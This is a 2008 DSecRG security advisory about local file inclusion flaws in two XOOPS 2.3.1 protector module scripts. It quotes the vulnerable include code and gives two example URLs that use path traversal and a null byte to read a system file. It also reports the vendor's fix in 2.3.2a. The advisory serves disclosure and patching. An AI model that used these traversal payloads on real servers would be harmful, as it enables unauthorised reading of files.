[DSECRG-08-040] Multiple Local File Include Vulnerabilities in Xoops 2.3.x

2008-12-10T00:00:00
ID SECURITYVULNS:DOC:20995
Type securityvulns
Reporter Securityvulns
Modified 2008-12-10T00:00:00

Description

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-040

Application: XOOPS
Versions Affected: 2.3.1 Vendor URL: http://www.xoops.org/ Bug: Multiple Local File Include Exploits: YES Reported: 10.11.2008 Vendor response: 10.11.2008 Solution: YES Date of Public Advisory: 08.12.2008 Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Description


XOOPS has Multiple Local File Include vulnerabilities.

Details


Local File Include vulnerability found in scripts:

xoops_lib/modules/protector/blocks.php xoops_lib/modules/protector/main.php

Successful exploitation requires that "register_globals" is enabled.

Code

$mytrustdirname = basename( dirname( FILE ) ) ; $mytrustdirpath = dirname( FILE ) ;

// language files $language = empty( $xoopsConfig['language'] ) ? 'english' : $xoopsConfig['language'] ; if( file_exists( "$mydirpath/language/$language/main.php" ) ) { // user customized language file (already read by common.php) // include_once "$mydirpath/language/$language/main.php" ; } else if( file_exists( "$mytrustdirpath/language/$language/main.php" ) ) { // default language file include_once "$mytrustdirpath/language/$language/main.php" ; ...

For successful exploitation first condition in if..else statement must be not true.

Example:

http://[server]/[installdir]/xoops_lib/modules/protector/blocks.php?mydirpath=DSecRG/DSecRG/DSecRG&xoopsConfig[language]=../../../../../../../boot.ini%00 http://[server]/[installdir]/xoops_lib/modules/protector/main.php?mydirpath=DSecRG/DSecRG/DSecRG&xoopsConfig[language]=../../../../../../../boot.ini%00

Solution


Vendor fixed this flaw on 26.11.2008.

XOOPS 2.3.2a Security Release can be download from Sourceforge repository:

https://sourceforge.net/project/showfiles.php?group_id=41586&package_id=153583&release_id=643010

Release notes:

http://www.xoops.org/modules/news/article.php?storyid=4540

About


Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.

Contact: research [at] dsec [dot] ru http://www.dsec.ru (in Russian)